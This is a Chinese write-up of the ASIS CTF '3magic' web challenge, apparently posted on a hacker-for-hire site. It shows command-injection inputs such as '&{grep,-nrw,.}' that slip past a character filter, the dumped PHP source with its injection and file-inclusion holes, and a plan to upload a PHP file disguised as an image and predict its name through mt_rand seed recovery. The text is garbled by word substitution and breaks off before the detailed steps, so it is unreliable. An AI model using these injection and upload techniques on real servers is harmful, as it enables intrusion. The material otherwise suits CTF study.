ASIS CTF - 三个魔法Web关WriteUp

访客5年前关于黑客接单865

榜首眼看这个应战,通常是过滤一些字符或许添加一些约束来阻挠指令履行,我经过输入&id到addr域,成功回来履行成果,能够确认这是一道指令履行的应战题。

下一步咱们来找出过滤和约束。经过测验,咱们发现不能够输入空格,/,而且只能输入15个字符。
运转find和set指令,咱们能够发现一些信息。
Result of the command find:
.
./index.php
./pages
./pages/ping.php
./pages/Adm1n1sTraTi0n2.php
./files
find: `./files': Permission denied
咱们看到,/pages文件夹下有一些.php文件,/files文件夹,咱们没有权限拜访,还有一个比较风趣的文件叫Adm1n1sTraTi0n2.php

翻开后是一个上传页面,上传图片后,会回来相似file image.png?www.tiechemo.com指令回来的信息,可是咱们不知道上传后的文件保存途径,现在的思路是,只能经过前面的指令履行缝隙来读取php源码,由于过滤了空格和/,所以咱们运用grep来递归读文件,我这儿运用的是&{grep,-nrw,.}
index.php
---------
3magic
 
    '?page=ping'>ping
 
 
    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
  ?>
     
      '?page=Adm1n1sTraTi0n2'>admin
     
 
    }
  ?>
 
 
  if (isset($_GET['page'])) {
    $p = $_GET['page'];
    if (preg_match('/(://)/', $p)) {
      die('attack detected');
    }
    include("pages/".$p.".php");
    die();
  }
  ?>
ping.php
--------
ping
"./?page=ping" method="POST">
  "text" name="addr" placeholder="addr">
  "submit" value="send">
 
"width: 300px; height: 300px" placeholder="result">
if (isset($_POST['addr'])) {
  $addr = $_POST['addr'];
  if (preg_match('/[`;$()| /'>"t]/', $addr)) {
    die("invalid character detected");
  }
  if (strpos($addr, ".php") !== false){
    die("invalid character detected");
  }
  if (strlen($addr) > 15) {
    die("addr is too long");
  }
  @system("timeout 2 bash -c 'ping -c 1 $addr' 2>&1");
}
?>
Adm1n1sTraTi0n2.php
-------------------
image inspector
mt_srand((time() % rand(1,10000) + rand(2000,5000))%rand(1000,9000)+rand(2000,5000));
// files directory flushed every 3min
setcookie('test', mt_rand(), time(), '/');
if (isset($_POST['submit'])) {
  $check = getimagesize($_FILES['file']['tmp_name']);
  if($check !== false) {
    echo 'File is an image - ' . $check['mime'];
    $filename = '/var/www/html/3magic/files/'.mt_rand().'_'.$_FILES['file']['name']; // prevent path traversal
    move_uploaded_file($_FILES['file']['tmp_name'], $filename);
    echo "
n";
    system('/usr/bin/file -b '.escapeshellarg($filename));
    echo "
n";
  } else {
    echo "File is not an image";
  }
}
?>
"?page=Adm1n1sTraTi0n2" method="post" enctype="multipart/form-data">
  Select image to upload:
  "file" name="file">
  "submit" value="Upload Image" name="submit">
index.php:
经过源码能够看出这个文件的page参数有LFI缝隙,可是不能够进一步运用,由于服务器装置的PHP版别,现已修补了%00切断缝隙
图画验证仅仅经过getsizeimage()函数验证了图画巨细,上传的文件名经过文件名+随机数生成
当拜访页面的时分,会经过mt_srand()生成随机数种子,随后会用mt_rand()生成随机数在cookie里,最终结合上传后的文件名,存放到/files目录中
mt_rand()已知的是有缝隙的,咱们能从恣意mt_rand()值中康复种子,假如想了解细节,能够参阅这篇文章http://www.openwall.com/php_mt_seed/README,也能够下载运用东西http://download.openwall.net/pub/projects/php_mt_seed/php_mt_seed-3.2.tar.gz
现在进犯思路清晰了,咱们首要上传一个.php文件,其实就是在一个图片文件的结尾加上,以便绕过getsizeimage()函数。然后在cookie中test字段找到mt_rand()生成的值,运用php_mt_seed东西康复种子,最终再运用mt_rand()结合上传的文件名,拜访/files下的文件。
详细进犯流程如下:

[1] [2]  黑客接单网

相关文章

HTML5:<a>的ping特点之逝世ping与隐私追寻

在HTML5中 标签参加了一个新的特点ping。规划者参加它的理由是, Ping能够使浏览器对外发送一个异步恳求,一般用来广告的追寻、点击率计算或完结一次HTTP重定向。 可是听到监督、追寻这个词,...

VulnHub挑战赛Pipe解题思路

今日我将给我们演示我是怎么处理VulnHub挑战赛这道名为Pipe标题的。 当然CTF玩的便是思路,这篇文章的思路纷歧定是最好的。只是作为抛砖,欢迎我们在文尾下载这道标题来玩! 枚举 PORT    ...

Burpsuit结合SQLMapAPI发生的批量注入插件(X10)

1.1变化: 添加过滤设置 优化显现成果 添加运转提示信息 添加域名正则匹配 整个插件分为三个面板:使命面板、sqlmapapi参数装备面板、过滤条件面板。 使命面板 Server : SQLmap...

鬼话蜜罐日志剖析

在布置蜜罐之后,会发作很多的日志,关于要挟情报而言,咱们需求经过这些日志来提取其间的有用的数据,本文将会描述提取那些数据用来完结剖析。 布置蜜罐之后会生成描述发作的事情的日志记载。能够收集到的安全事情...

电商安全无小事,怎么有效地抵挡 CSRF 进犯?

 现在,咱们绝大多数人都会在网上购物买东西。可是许多人都不清楚的是,许多电商网站会存在安全缝隙。比方乌云就通报过,国内许多家公司的网站都存在 CSRF 缝隙。假如某个网站存在这种安全缝隙的话,那么咱们...

被黑的Drupal网站被用来挖矿,传达远控,发送欺诈邮件

黑客正在使用最近Drupal CMS中的已知缝隙,例如Drupalgeddon2和Drupalgeddon3来传达挖矿软件、长途管理工具(RAT)和以技术支撑为名的诈骗邮件。 两个缝隙编号为CVE-...